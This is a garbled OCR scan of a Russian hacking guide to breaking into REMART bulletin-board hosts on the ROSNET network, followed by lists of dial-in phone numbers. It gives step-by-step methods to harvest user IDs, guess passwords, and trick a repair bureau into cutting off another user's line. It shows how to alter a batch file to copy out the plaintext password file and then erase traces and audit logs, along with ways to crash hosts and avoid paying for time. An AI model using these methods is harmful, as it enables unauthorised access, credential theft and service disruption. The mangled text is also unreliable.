Valery/Valery Valeriy/Valeriy Tomara/Tomara

nrT.nm.

Ecnu Huyero He IIOJIy4YunJIoCh, TO YTO-JIN00 XaKHYTb Ha 3TOM XOCTC BaM
BpALd JIU yaaCTCAd. Taxk xak OH TOBOJIbHO-TaK/ HEIUIOXO 3aIUIICH.

Kak y3HaTtb ID

Ecmm BB Bomnuin B CUCTEMY, Cpa3y XK€ MOIBITAUTECH Y3HaTb CIIMCOK
MOJIb30BaTENIe TaHHOTO XOCTa.

Y3HaTb CIMCOK IMOJIb30BaTe el JOBOILHO JIETKO. 3aii/isl B CUCTEMY, T10-
mpoOyiiTe moracTb B MeHIo «Perucrpauus». B 3ToM MeHI0O MOXHO O3HAKO-
MUTBCS C TOJTHBIM CITUCKOM abOHEHTOB NaHHoro xocra. Ecim yepe3 MeHIo
BXOJI 3aKpHIT, IMIPOOYIITe TaK:

go reg
ni

go registry

Wi

go onboard1

onboard — pa3znen perucTpaluu.

st Toro 4ToOBI Y3HATH UMSI pas3zielia, HyXkHO rornactb B pasaes MAIN
(GO MAIN uiu yepe3 MEeHIO CCTeMbl TTYHKT «brubanoTeka» 1 BhI3BaTh Aepe-
Bo nupekTopuiit TREE, nu6o TYPE LIB unu TYPE LIBS win TYPE LIB-
TREE.

1 — HOMep MeHIO «CIIMCOK aOOHEHTOB».

CoBceM HeIaBHO ObLI 3aMeYeH HOBBIU INIIOK, B yacTHOCTU Ha 6100255
CITMCOK aOOHEHTOB MOXHO Y3HATh, MIPOCTO CKa4yaB AepeBO AUPEKTOPUIA, TaM
JUTSL KK OTO MOJIb30BaTeNIsl CUCTEMBI CO3[aH OMHOMMEHHBIH KaTajor, K CoxXa-
JIEHWIO, 3TOT ITIOK OBICTPO 3aKPBUIH.

Ecnu criucok B3s1Th He yaanaochk, puaeTcs noctasath ID apyrum crno-
co6oM. 3ane3bTe B OMOJIMOTEKY U TaM, MUCXOS U3 TOTO, UTO K KaXnoMmy daiity
MUIIETCST UMS aDOHEHTA, 3aKaTaBILEero ero Tyaa, MOXHO IMOJyYUTh HEKOTOPOe
koimuyectBo ID. Teneps eciu ecTh TOCTYII K TTIOYTE, TAKUM K€ 00pa30M MOXK-
Ho nmocmotpeThb ID aBTopoB nuceM. Ecnu atux ID Bam mMano, MOXHO, opyayst
/un /r, «BelIoBUTH» emie 10-15 ID. [ToToMm BI3bIBaliTE TTACIIOPTa HAIEHBIX
aboHeHTOB (/a <ums_aGoHeHTa>). «CrpabbTe» ux B (aiin. Tenepb BBl pacrio-
JlaraeTe JOCTaTOYHOM MH(pOPMAaIIMEN O IMOJIb30BATEISIX — MOXHO MPUCTYIATh
K nmoabopy napouisi.
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Noa6op NAapoAs
Ecnu Bac He ycTpanBarOT Balllv IMOJHOMOYUSI, nonpo6y17rre HOI[OGpaTI:
MapoJib y KaKOTO-HUOYAb IPYTroro Mojib30BaTesl.

ITonGop GhIBaeT TPEX TUTIOB:
1 — IMon6op maposeii o ciioBapio (CIOBApHbI METO.).
2 — [lepebop (mombop maposst myTeM repedopa).

3 — MHTeueKTyaabHbli n10a60p (1oabop ¢ UCIOIb30BAaHUEM OO~
HUTEJLHON MH(MOPMAIIMUU O TIOJIb30BATEIISIX.

J1s1 TIepBBIX ABYX CIIOCOOOB ITO0a0Opa Bbl MOXETE MCIOJb30BaTh
CKPUIIT WA OCYLIECTBJISTh BCE IEUCTBUS «pyKaMU», IIEPBOE, KAK Bbl IOHUMA-
ere, MpearnouyTuTeabHee. TpeTuid crmocod MPUAETCS OCYLIECTBISTh «pydyKa-
MUW».

Hwuxe mpuBoasTCcst HEKOTOPEIE CBEACHMSI, KOTOPBIE ITOMOTYT BaM IIpHU
noadope mapos:

* BonpimuM HenoctatkoM Pemapra siBisieTcs To, 4TO O0JIbIine
U MaJible PETUCTPBI HE pa3InyaroTcs.

* JloruH u maposb MOTYT COBIAAATh.

. ITapoibs MOXeT ObITh U3 TPEX CUMBOJIOB.

* ITaposib He MOXET MPEBHIIIATh 8§ CUMBOJIOB.

* HeorpannuyeHHOe KOJIMUYECTBO TOIBITOK IMPU BBOJIE TTAPOJIS.
* HecoMHeHHO, BaM TTOMOTYT CITMCKH TTOJIb30BaTeIeil XOCTa.

HeorpaHnyeHHoe KOAMYECTBO MOMbITOK NPY BBOAE NMAPOAS

Wtak, 4To6bl Ha TIepebop MapoJieil 3aTpaurBaIoCh MEHbBIIIE BpeMEHU,
TO €CTh YTOOBI BaM ITPEI0CTABIISIOCh HEOTPAHUYEHHOE KOJIUYECTBO MOMBITOK
NPy BBOJIE NIAPOJIsi, HY>KHO CJeJIaTh Cenylollee.

Bair apyr 3axoauT Ha XocT (AOMyCTUM Mo o3biBoM Demo 1 maposiem
Demo). [Tocse Toro, Kak oH 3atre Ha XocT moa Demo/Demo, Bl TOXXe HauM-
HaeTe MBITAThCS 3aiTU Ha 3TOT XOCT IO TeM Xe JIOTMHOM. Bam coobmator
caenytoliee (WM 4TO-TO BPOJIE 3TOTO):

AGOHEHT C TakuM MO3bIBHLIM YyXe paboTaeT B cucTeme!

Ecnn Bl He 3HaeTe, kTO Ob 3TO MOr ObTb, W €CnAW 3TO [AENCTBUTENbHO
Baw no3bBHOM, TO CPOYHO 00paTUTECh K afMWHWUCTPATOPY CUCTEMH 3a
Pa3bACHEHUAMN

Bbl MOxeTe no3BOHWTHL N0 TenedpoHy 206-85-70 unu 924-74-85
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M cHoBa npocart Beectu ID u Password. [1oBTOpsieTe BhIllleyKa3aHHOE
TpU pasa (MCIoaIb3yeTe TPU MOMbITKK). W mocsie 3Toro Moxere npodoBaTh Jito-
Oble JIOTUHBI C JIIOOBIMU MapOJISIMU OECKOHEUHOE YU CIIO pas!

K coxayeHu1o, Kak U MHOTHE IPYTUE «IbIPbI», 3Ty TOXE KOE-TIe TIPH-
KPBUIH.

Taxk uTo oHa IPOABIACTCA HE BE3IC.
MHTEAAEKTYAAbHbIN TOAGOP NAPOAS

Hrak, y Bac ecTb HecKoJIBKO (i Bece) 1D Ha mHTepecyroleM Bac XOC-
Te, TaKXXe Y Bac ecTh nacnopra atux ID. Camoe BpeMst MPpUCTYITUTh K UHTE-
JIEKTyaJTbHOMY TIOI00PY MapoJIeid.

BosbmeM npoun3BoibHOro aboHEeHTa:

MosuisHOM Gamunua/Uma OTuecTsBO/
TenedoH /Oupma /lopon

Ukrpack Nasapes/AHapeit Muxainosnd/
(0482) 33-31-78/CN «TENHET»/r.0Opecca

IMoexanu:

Ukrpack/Ukrpack
Ukrpack/Kcaprku — HaoGoport
Ukrpack/Andrew — umst
Ukrpack/Andy — ums
Ukrpack/Andrey — ums

* ¢ & o o o

Ukrpack/Fylhtq — ums (pycckumMu OyKBaMu Ha aHTJIMACKOM
perucrpe)

L 4

Ukrpack/Kfpfhtd — damunus (pycckumu 6ykBamu B
AHIJIMICKOM PErucTpe)

L 4

Ukrpack/Vb[fgkjdbx — oTuecTBO (pyccKMMU OYKBaMU B
AHIJIMIICKOM PETucTpe)

Ukrpack/Lam — ®HNO
Ukrpack/Aml — MO®D
Ukrpack/Mal — O ®
Ukrpack/Lma — ®OU
Ukrpack/333178 — tenedon
Ukrpack/Telnet — ¢upma

* ¢ & o o o
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* Ukrpack/Ntkytn — ¢pupma (pycckrmu OyKBaMU B aHTJIMCKOM
perucTpe)

* Ukrpack/Odessa — ropos (KcTaTu, UMEHHO TaKOH TapoJib
U ObL)

* Ukrpack/Jltccf — ropon (pycckumu 6yKBaMUy B aHTJIUHACKOM
peructpe)

Tak ke IPOXOAUMCH ITO BCE OCTAJIbHBIM ITO3bIBHBIM, ITATb-IICCTb «JIO-
IIyXOB» — 3TO IIPAKTUYCCKHU rapaHTHA.

Ewe Kkoe-4to 0 nop6ope napoAen

CaMmpblif JTydiuii pe3ysabTaT OT ToA00pa B IMOJTYYNUTE, COBMECTUB BCE
Tpu cnoco6a. CHavaja mepebopoM MpoBepsIeTe BapUaHTHI IApOJIeHt OT TPeX 10
ST (BKJIIOYUTENIBHO) CMMBOJIOB. [laponu 6ojee Ooblieii IJIMHBL BaM BPSIT
JIA yaacTes mepebparh, Tak KaK KOJWYMCTBO KOMOMHAIIMIT PaCUUTBIBACTHCS
10 clIeayrolIei hopmye:

X=s*

rae X — KOJIMYECTBO KOMOMHALIMI, S — YKCIIO CUMBOJIOB, UCIIOJIb3Ye-
MBIX JUTSI TIepebopa, u Ne — yrciio cuMBOJIOB B apodie. [Toatomy mociie Toro,
Kak BBI TlepeOpaii Bce MapoJiv B TMAIa30He OT TPeX A0 ISITH CUMBOJIOB, BbI
TOYHO 3HAETE, YTO MapoJib COCTOUT U3 IIECTH U 6ojiee CUMBOJIOB (B TTPOTUB-
HOM cJIydae BEI ero rmogoopanm). [Ipucrymaiite K mogbopy 1o macropry adbo-
HEHTa, eCJI BCe ellle He yIaJIoch oao0paTh Mapoib, HaYMHaNTe TiepeGop 1Mo
CJIOBapIO C «IIJIOXMMM MapOJIIMU» (TUIIA «qWerty» U «Secret»), yaajauTe U3 He-
IO TPeX-, YeThIpeX- U MATUCUMBOJIbHBIE TTAPOJIU (TaK KaK BbI UX YXKe repebpa-
JI) U IPUCTYIIAaeTe K rnepebopy. M moMHuUTE: raBHOE — TepIICHUE.

Kak y3HaTb MApOAb AGOHEHTA NOCPEACTBOM «/U»
Taxxxe maposib MOXXHO MOXHO Y3HATh CJIEAYIOLIUM CIIOCOOOM:

. 3aiiiuTe Ha XOCT.

* 3aJIOTMHBTECH TT0]T JTIOOBIM JIOTTHOM.

* Bxomouute B cBOei «TepMuHaiike» ¢pyHkuuio Capture.
W BBomuTE:

/u

/u

/u

Ecnm BaMm moBe3eT, TO KaKoii-HUOYAb 103€P-OCTOJION B CICIIKE BBEACT
BMecto 1D cBoii mapoiib, 1 OH y Bac 0j1aronoaydHo 3adukcupyercs B Cap'e.
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ﬂque BCC€TO BBILMICYKA3aHHYIO OII€paAlIO MPOU3BOAUTD IMTPU IMTOMOIIHN
CKpuIira.

KAK y3HOTb NAPOAb A6OHEHTA NOCPEACTBOM «/E ?»

HMHuTepecHolT BO3MOXHOCThIO Pemapra siBisieTcsl KomaHaa /e ?. Ora
KOMaH/1a BBIBOAUT CITUCOK MPEIbIAYIINX KoMaH . [TocMOTpeB Ux, 9acTO MOX-
HO Y3HAaTh MHOTO UHTEPECHOTO.

KapAMHAABHO HOBbIM CMNOCOG6 B3AOMA AOTUHA

HMmMeercs onHa uHTepecHast ocobeHHocTh y31a POCHET: ecnu Boiitu
B KaKOW-HUOYAb XOCT U HATJIBIM 00pa3oM 00J10MaTh CBSI3b, T.€. BHIPYOUTb MO-
JIEM WM TEperpbi3Th MPOBOjAA, a MOTOM cpasy Iocje 3TOro MO3BOHUTH Ha
y3eJl, TO OKa3bIBAeTCs, UTO ThI OISITh B TOM K€ XocTe. BOT 3T0 U siBJsieTcst oc-
HOBHBIM KJIIOYOM MeToza!

Camoe TJ1aBHOE — 3TO JOXIAThCs, TTOKa KaKO-HUOYIb HECYACTHBIN
IMO3BOHUT HA POCHETOBCKUI MofieM. MHOTa 310 oXXuaaHue oka3biBaeTCs ca-
MBIM TSKKUM. Ecin XKe BbI Bee ke JOXIaINCh 3TOr0 MOMEHTA, TO MpeK/ie Bee-
rO HaJ0 YOeIUTHCS, YTO 3TO HE KTO-TO M3 APY3el JIe3eT Kyla-To MO/ TOCTEM.
Temepsr HeoOXx0MMMO MO3BOHUTH B «biopo pemonTa I'TC» u mormpocuts cpod-
Ho nipoBepuTh HOMepP N (T.e. Homep POCHET"a) u TyT ke mbiTaThcsl 103BO-
Huthbcsa Ha Hero. Ha I'TC yBugar, yro HoMep N 3aHSIT, ¥ IIPOCTO 00JIOMAIOT
€My KOHHEKT B KauecTBe MpoduiakTHyecKoro aeicTeus. Eciiu Bam moBesio,
TO Y TOTO 103€pa, KOTOPOTO Bbl O0JIOMaJIH, €CTh OMLIUS «Perucrpaiusi», a Tam
BBl MOXETE ITOCMOTPETH MApoJib HaKaTheM KHOTIKU «Z» (310 mist Pemapr-cu-
CcTeM).

V 3Toro Merona ecTb OAMH OOJBIION HEAOCTAaTOK: BCE 3TO HYXKHO Je-
JIaTh B OyIHMIT AeHb, B yachl paboThl «biopo pemonTta I'TC», T.e. HEeM, Korma
J1I000i1 HOpMaJIbHBIN XaKep CIUT...

Kak noAyuutb USRACC.DAT

HHTepecHol 0cobeHHOCThIO PeMapTa sIBJIsIeTCs To, YTO MMeHa 1 Iapo-
JI 103€POB XpaHsTcs B (aiiie dat\usracc.dat B HezammdpoBaHHOM BUIE, a 3TO
3HAYMT, UTO, €CJIA «yBOJIOUb» TOT (haiisl, 3 HETO MOXHO IMOYEPITHYTh MHOXE-
CTBO UHTEPECHOTO.

Ho cyiecTBeHHOl nperpanoi siBasieTcs To, YTO 0ObIYHO (ec/iv, KOHeY-
HO, aIMMHBI HE JIOMYXW) KaTajor, TAe XpaHuTcsi PeMapT, He monanaeT B 10-
CTYIHbIE pa3aesibl OuoanoTeKu. YToObI €ro 10CTaTh, HEOOXOAUMO YUMETh P -
oputeT He Hizke 30 000 (BepHee, MPUOPUTET ONpeaesieTcss KoHpurypauuei
naHHoro Pemapra 1 MoXeT ObITh U3MEHEH).

YT1o0BI «yBOJIOUB» usracc.dat, MOXHO MCIIOJI30BaTh OAUH U3 CIIENy-
IOIINX CITOCO0OB.
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Cnoco6 1

Ecnu BBl 3HaeTe IOJHBINA NyTh K (aiiny usracc.dat, To 3a0path 3TOT
daiin He cocTaBUT Tpyda (MECTOHAXOXIEeHUs usracc.dat yacTo MOXHO BbI-
yIUTh U3 aiijia CTPYKTypbl OMOJIMOTEKHU B BUIE IepEBa).

Hamnuimmre nmucbMo K caMoMy cebe, ¢ aTTayeM B BUIE TOJHOTO TMyTH
K useracc.dat Ha xocrte. [Ipu coBmageHUM OMpeneNeHHBIX COOBITUIT MOXET
MPUATH (TOJIKHBI OBITh 3aHATHI KaHAIbI!) HE BCE, HO 3arpy>KEHHOCTh TOJKHA
ObITh BevKa. [laHHas «puda» Ha 6100255 He pabGoTaeT.

Cnoco6 2

Ipeanonoxum, Bbl yke B PeMapTe 1 'y Bac eCTh HaIeXXalluii Mpuopu-
TeT IJIs co3naHus pasaeia. Kak ato mpoBeputh? Boiigure B 6MOIMOTEKY U
MPOBEPHTE CITMCOK JOCTYITHBIX KOMaH I, BBeNs «?;» eC/Ii B KOHIIE CIMcKa Oy-
JIeT KoMaHaa ml, Bac MOXHO Mo3apaBuTh. Jlanee AeiicTBUS ceaylonue:

1. Co3snaiite paszesn, yka3blBaloIMi Ha KOPEHb JHCKa C: U C UMEHEM,
K pumepy, C:

ml /d ¢ c:\
ITapametp /d yKa3bIBaeT Ha TO, 4TO JOJDKEH co3maBaThest dos-pasmed.

IlepeiinuTe B pazaes ¢ KOMaHAON C: U MOJYyYUTe

C:\>

3atem komaHgaMmu cd u dir TIaTeIbHO UCCIIeNyiTe TTOMOIBITHBIN pa3-
JleJ1 Ha MIpeIMeT HaJIMUMSI TaM TTporpaMMHBIX (aitioB PemapTa (OHM OOBIYHO
pa3melnaroTrcs B Karajore \remart win \remart.40, HO MOTYT OBIThb W Bapu-
aHTBhI).

Ecin PEMAPT He ymanoch HaliTH B JaHHOM pasziejie, TPOXHUTE ero
(pa3melr) KOMaHOOM

rl c

co3iaiiTe HOBBII pa3aes, yKa3blBaloluiA Ha KopeHb d:, 1 mpojaenaiTe
BBILLIEONMCAHHYIO OMNEpalMIo ¢ HUM. Tak MponoskaiTe 10 yMOOMpadyeHUst
WJIA TTOKA BaC HE BHITOHUT aIMUH.

Janpie aucka i: mpomokaTh 6eccMbICieHHO, TTockoiibky PEMAPT
B HAYaJIbHOW CBOeW KOHGUTYpalluu TO3BOJISIET 3arpyxkaTh (hailyibl TOJbKO
¢ IUCKOB C, d, e, f, g, h, i, HO MOXHO ¥ MOTIPOOOBATb...

2. Ecnu Bel HalwIu Kartanor PemapTa, nmommo06yiitech Ha ¢aii usrace.dat
B Hagkartajore dat. He mbiTaliTech 3arpyxkaTh €ro HeMeUIEHHO WJIM CMOTPETh
1o type — B JIy4llleM cilydyae CMCTeMa BbIIACT YTO-TO Bpone «PDaiii 3aHsT Apy-
TUM II0JIb30BaTeIeM», a B XyIIlIeM — 3aBHUCHET, M BCe Ballll 0e300pa3usi OyayT
BMIHBI KaK Ha JIAJIOHM.
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3. 3arpy3ute M3 TJIaBHOW mupekropuu Pemapra aitnr remart.bat
Y TIDATEJIbHO U3y4yuTe ero. OGpatuTe BHUMaHKUE Ha TY 9acTh, KOTOPast COIep-
XUT WHGOPMAIUIO O «<HOYHOM TepereHepalm». 2KeraTteIbHO CKUHYTh U Te
(baitTel, KOTOpBIC MTAKETHUK TPY3UT.

HpOCMOTpI/ITC €T0 Ha MpeaMET KOMaHI TUIIA pause 1 Ipyrux — Heo0-
XO0IUMO, 4TOOBI PeMapT HOPpMAJIBHO II€pE€3arpy3nijicda, MHad€, BCTPETUB KO-
MaHIy TUIIa pause, OH 6y}1€T KIATb HaIlipdara KjiaBUIIN Ha IJ1aBHOM KOHCOJIN,
a Bbl OCTAHETECh HU C YEM.

OO6b1yHO remart.bat B mpouecce HOUHOM YMCTKM BhI3bIBaeT cleanup.bat,
B KOTOPOM COZIEPXKATCsI KOMaH/Ibl BbI30Ba BHEITHUX MOyJIeii. B nHcTamisim-
OHHOM Bujie remart.bat BEI3bIBaeT YMCTKY U iepe3aryckaeTcs. Bot cleanup.bat
HaM-TO U HyXeH!

He neitaiitech ucnpasisath remart.bat — DOS B TakoMm ciyyae BblgaeT
pyraresnbcTBo batch file missing, v r1aBHast KOHCOJb 3aBUCAET.

4. IpocmotpuTe cleanup.bat komanmoI

type cleanup.bat

U 3aIIOMHUTE €ro cojepxumoe. Teneps caenaiite

del cleanup.bat

€CJIM y Bac Ha 3TO €CTh COOTBETCTBYIOIINE MMpaBa — U 3aHOBO €T0 Habe-
puTte

type cleanup.bat

HabGepure cTpoku, KOTOphle paHee TaM ObUIM; B KOHell (M1 Hadyao)
aTOro aiija BCTaBbTE CTPOKY BHUA:

copy C:\REMART.40\DAT\USRACC.DAT C:\

BMmecto remart.40 BctaBbTe MMSI COOTBETCTBYIOIICH TUPEKTOPUH, IO -

npaBbTC UMC€HA JUCKOB, YTOOBI MOXXHO OBLIIO HAATH (1)3.171)'[ M YTOOBI €I0 KOITHIO
MOXHO ObLTO BIOCJIEACTBUU CIIUTD.

5. Teneps camoe Bpemsi iepezanyctutb PEMAPT. V3naiite, kTo pabo-
TaeT B CUCTEME, U €CJIM 3TO JIEBbIE 103€Pa, HEHABSI3YMBO OTKIIOUUTE UX. JIyu-
1€ BCEro 3TO c/iejaTh KoMaHa0i hangup, MOCKOJbKY €C/IU 103€p BUIUT y ceOst
«HOY Kappuep», OH CITMCBHIBAET 3TO HA HEIOCTATKMU Halllel C BaMU CBSI3U, a €C-
s PEMAPT emy Bbinact uto-to Tuna «Ceituac OyfaeT BeXJIMBbIN OCTAHOB CH-
CTEMBbI», OH MOXET MPU3aTyMaThCs.

ITocne Toro, Kak B CUCTeMe He OCTaHEeTCs 103epoB (eaTh 3TO HAA0
OBICTPO), 3aIlyCTUTE IepereHepalunio KoMaHao1 cleanup 3 GyHKIIMI anMu-
HMCTpaToOpa M 3aKOHYMTE CBOI CeaHC.
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6. PEMAPT BbliineT, nakeTHUK remart.bat 3armycTuT COOTBETCTBY-
[olMe nporu, cleanup.bat (ecv Bbl HUYEro He MepenyTain) 1 3amyCTUT OMSITh
Pemapr.

Hy, a BbI B TO Bpemsi IOJKHBI TEPIIEIMBO 3BOHUTD U X1aTh. 2KejiaTesb-
HO BOWMTH B CUCTEMY TIEPBbIM (Ha BCAKUIA ClTydait).

7. Tenepnr ovyeHb mpocTto. OTTyma, Kyda Bbl yKa3ajJu KOIMPOBaHUE
usracc.dat, JayHJI0aJHUTE €ro, yaaauTe KomaHaoi del (He co cBoero BUHTA!..)
u Oerute OIsITh B Katayior Pemapra. Tam BocctaHoBuTe cleanup.bat.

8. Hamocieok rpoxHUTe CO3IaHHbII BaMU pa3iel KOMaHI0i

rl umda_paspgena

9. MOXHO TpOXHYTb U ayAUT-(aii...

MoAyyYeHne NOAHOMOYUMN OAMUHUCTPATOPA

YT1o6Bl TMONYYUTH TIpPaBa agAMUHHUCTpPATOpa, UMEETCS OYEeHb CTaphlii
U IpeBHU CITOCO0.

JloroBapuBaerech CO CBOUM JIPYTOM O TOM, YTO B OJHY U Ty XK€ CEKYH-
ny (!) BMecTe jie3eTe Ha OIWH U TOT Xe XocT. M 06a BBonuTe admin/admin, of-
HOMY U3 BaC CUCTEMA CKaXEeT, YTO MapoJib HEBEPHBI, IPYroi 3aiiIeT B CUCTE-
My nog admin'om. I'J1aBHOE Bce 3TO AesIaTh OMHOBPEMEHHO.

Kak nosecutb xoct PEMAPTA
HOBGCI/ITb XOCT MO2KHO OJHUM M3 CJICOAYIOIINX CHOCOGOBI

Cnoco6 1

3aiignuTe Ha Kakoii-HuOyab xoct. Ha Bonpoc cuctembr: «Display ANSI
Graphics ([Y]/N)? >», BBeaure «@». Ha HEKOTOpBIX XOCTax cpasy ke BellaeT-
cs1. Ha HEKOTOpBIX MOSIBISIETCS ABE CTPOKMU:

Login:

Password:

Terepb pe3ko HauMHaKTe BBOIUTH BCSKYIO JIaOymy, He 3a0bIBasi 3KaTh
Enter. Yepes HekoTopoe Bpems (10-20 cek.) XOCT TOBUCHET.

Hano 3amMeTuTh, YTO HAa MHOTHX XOCTaX 3TOT METOJ He ITPOXOAUT, BBU-
NIy caMOAESITeIbHOCTU aAMUHA. TO eCTh OOBIYHO ISl YCTPAaHEHUSI 3TOM «/Ibl-
DbI» CUMBOJ «@» 3aMEHSIIOT KaKUM-HUOYIb ApyruM. Takxke Hy>KHO TOMHUTb,
YTO XOCT OyAeT BUCETh HEAOJTO (5-6 MUH.).

Cnoco6 2

3aiianTe Ha KaKOH-HUOYIb XOCT. 3aperucTpUpyiTech Mo JoObIM Cy-
IIIECTBYIOINM JIOTUHOM. BBenute «/e» (PemakTop KOMaHI) M HAYMHANTE BBO-
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IUTh JTabymy, B taHHOM crioco6e Enter xxaTh He Hamo! Bckope 1mocie 3amosHe-
HHSI CTPOKHM KYPCOp caM IepeiineT Ha CIenyIOIIyi0, TTOBTOPUTE 3TO TPH pasa
(3amostHUTE TPU CTPOKM). [Tociie 3amoTHeHYsI TPeTheil CTPOKU XOCT ITOBUCHET.
J1J1s1 ICTTONTb30BaHMsI 3TOTO MpreMa Hy>KHa TPEHUPOBKA, TaK 4TO HE Oropyaii-
TeCh, €CIIM CHavYaJIa y Bac He OyJIeT HMYeTo Mmorydathest. CaMblid JTydIInii BApy -
aHT — 3TO MOCTaBUTh Y cebst PeMapT 1 MOTpeHUPOBATHCS.

Cnoco6 3

3aiiauTe Ha KaKoW-HUOYIb XOCT. 3aperuCTpUpPYITeCh 1O JJOTUHOM,
MMEIOIIMM JIOCTYIl K MEHIO PerucTpalvu. 3ainuTe B MEHIO PEruCTpaluu
Y BBEAUTE JIEBYIO KOMaHAy (Haripumep, dir). Pemapt BucHeT.

Cnoco6 4

3aiianTe Ha KaKO-HUOYIb XOCT. 3aJIOTMHBTECH MO JTIOOBIM CYIIIECTBY-
o1mM JoruHoM. [1o30BuUTe Kakoro-HuOynbp abOHEeHTa Ha YaT: «/c¢ <ums a0o-
HeHTa>» U ObICTpO «Oerute» — «GO EMAIL». Eciu Ha Bac monaayT B MOMEHT
rnepexoja, To XOCT TOBUCHET.

Crioco0 oueHb «1yOOBbIIi», TO3TOMY TPEOYET TPEHUPOBKM CKPUTITOM.

Cnoco6 5

3aiiauTe Ha KaKOH-HUOYIb XOCT. 3aJJIOTUHBTECH IO JTIOOBIM CYIIECTBY-
JOILMM JIOTUHOM. 3aiiinuTe B MeHIO0 (DYHKIIMI alMUHUCTPATOpa CUCTEMBI (ec-
JIM OHO, KOHEYHO, OOCTYIHO), 1 BBeauTe KoMmaHay «SYSINFO». aHHBIi
cnocob crpabarbiBaeT penko, HO ObiBaeT, Kak IpaBuiio eciu PEMAPT nHe
rpy3utcs u3 rojoro J1IOC, a moBepx 4yero-HUOyAb TUIA MEHEIXepa MaMsITH
WIK JTI000ro 0osiee-MeHee TJII0UHOIO pe3uaeHTa.

Cnocob 6

JI71st oCyIIeCTBIIEHMS 3TOM MOABUCKY HYKHO JIBa YeJIOBEKa, MPEATIONOo-
KM, 3T0 demo1 1 demo2.

demol:

/p demo?2

demo2:

go lib

demol:

go 1lib

Cucrtema BUCHET.
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Ewe HecKoAbKO «xutpocrteun» B PEMAPTE

Kak He Tpatntb A€Hbrun

Ecnu Yy BaC €CTb JIOTMH W Bbl HEC XOTHUTEC TPAaTUTL C €ro cye€Tta JCHbIU,
clieJIafiTe Cleayrollee: Iepe3axoauTe KOMaHI0n

Joff r

J0 TEX IIOP, IT0OKAa BaM HE€ BbLUIC3ET HAAIINUCH:

B paboTaeTe no cneutapuoy. . .

HewusBectHo, kak Ha nIpyrux xocrax, Ho Ha 6100255 paGoraer.

KAk BbIKUHYTb BCEX U3 4YaTa

Korpga B yate mojsiHO Hapopaa, He OTIycKas, monoute Enter nnu ka-
KOM-HMOYIb MaKpOC, BeCh Hapo (BKJIoUasi M Bac, TYT BaXKeH pacyeT U Kaue-
CTBO CBSI3M) BBUIETUT C XOCTA.

Kak B AeMO-peXXume NOAb3OBATLCS B YATE KOMOHACMM «/pP», «/U» U T.A.

YT00b! peain3oBaTh BhIIEYKa3aHHYIO «(pUUy», HY>KHO 3aiiTH B 4aT He
yepe3 MEeHI0, a KoMaHI0i «go chattop», moToM Mmo3BaTh KOro-HUOyIb Ha yat
(«C») 1 cpa3zy xe BBeCcTH «/u 1».

HeorpaHnyeHHoe BpemMs B AEMO-peXxxume

Eciu BBl HaXXnMaeTe «/u» ¥ BUAUTE, YTO BpeMs Ballleil paboThl TTOIX0-
JIAT K KOHILY, OBICTPO BBeIUTE «/u 1», IepecuanTe KpUTUIECKUI MOMEHT, U 'y
Bac B 3arace ellle CTOJIbKO Xe BpeMeHU. Takxke rOBOPST, YTO MOXHO CUIETh
6oJIbIIIe OTBEICHHOTO BPEMEHU, €CJIA BbI BBEJIU «/C», a ToToM «F+++» — Ha-
PO/l TOBOPUT, YTO 3TO pabOTaeT.

HeAOKYMEeHTUPOBAOHHbIe KOMAHAbLI PEMAPTA
Haiinens! HemokymeHTHUpoBaHHbIe KOMaHIbl PEMAPTA:

1. B Mento PROTECT (aHaioru4Ho BbI30BY MOJIYJISI TIOYTOBOTO aqMU-
HUCTpaTOpa) — €CJIM y CTAHUIIBI [TOYTOBOTO aAMUHKUCTPATOPA MIPUOPUTET BbI-
1Ie, YeM Balll, TO 3Ta nHdopmaius decroe3dHa — tak Kak PEMAPT Bce paB-
HO He TYCTUT Bac Tyja.

2. To nu pa3paboruuku PEMAPTa 3a06b111, TO 11 CrielIMaIbHO OCTa-
BWIN HegoKyMeHTHpoBaHHYI0 kKoMmaHny SQRT (romo3peHue Ha M3BpalleH-
HOE M COKpallleHHOe «Security»), paboTaeT oHa TOJbKO B OUOIMOTEKE, yXkKe
KOrja BbI 3allUIM B pa3naesi, U Habupaercs uepe3 Alt+251 («v»), He nHaye.
Komanpaa noctynHa gaxe Demo — HO YTO OHa jiesiaeT, OcTaeTcsl 1oKa 3araji-
koii. [To xomanze «? v» PEMAPT Bbinaet, uro: «Komanna SQRT 3ape3epsu-
poBana» (Bcs mpobiiemMa B TOM, UTO CJIOKHO HaiiTu nebarep, KOTOPBIA Obl
ne6axwun Eclipse protection mode — 310 3ammuieHHbII pexkm 80286 mporiec-
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copa). Pazpaborunku PEMAPTA otiaxuBaioT U jnedaxkaT €ro COoBCEM
no-apyromy — B (paitie remstart.com BUIHO, YTO OHU 3amycKaioT ¢aiin RE-
MARTL.EXE KoTOpBIii, €CTECTBEHHO, HE BXOIUT B CTAHAAPTHYIO MOCTABKY
PEMAPTA.

KoHTtakTHble TeAedpoHbl POCHET

ApXxaHreAbck: (8182)
43-36-71

43-31-21
47-37-00
49-31-21
47-36-23
CesepoaBuHCK: (81842)
4-36-80
BapHaya: (3852)
26-16-71
22-54-41
24-33-01
23-67-40
24-29-74
Bunck: (38542)
4-87-40
4-36-54
4-87-41
fopHoaATanck: (38541)
31-205
43-411
Py6uoeck: (38557)
2-42-73
2-35-23
2-32-06
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Caasropoa: (38568)
2-10-99

Maeaosck: (38511)
2-02-16
2-20-06
2-00-17

BeAropoa: (07222)
70-232

BAaaroBeLeHck: (4162)
44-22-56
44-22-10
44-88-70
44-22-38
44-22-47

BpsHck: (08322)
69-106
69-107

BAOAMBOCTOK: (4232)
26-12-10
22-42-43

Haxoaka: (42366)
4-43-13
4-72-06

Yccypunck: (42341)
2-06-01
2-57-51

BAaaaukaekas: (86722)
49-075 69-601
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Boarorpaa: (8442) Mxesck: (3412)
32-77-90 25-91-94
32-54-94 25-40-35
36-14-40 65-76-32
36-43-54 25-96-13
36-42-31 65-76-10

BoAxck: (84459) 25-40-06
7-30-77 KasaHs: (8432)
3-75-34 38-45-73

BopoHex: (0732) 38-53-98
56-19-46 38-47-84
55-54-67 36-23-52
56-19-47 38-48-95
56-04-35 36-53-98
56-19-48 38-47-74
56-19-49 38-47-07

Poccouub: (07396) AnbmeTbeBcK: (84312)
28-486 9-24-39

ExatepuHGypr: (3432) 3-16-13
44-98-81 9-63-45
51-10-87 9-63-45
49-57-75 9-64-68
51-22-93 9-62-86
44-98-89 9-64-69

Hoeoypaabck: (34370) 3-16-13
4-46-07 3-34-22
4-31-04

3eAeHOAOAbCK: (84371)
4-46-08 2.27-18

4-46-09 2-17-52
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5-33-55
5-36-26
EAnabyra: (84357)
3-17-46
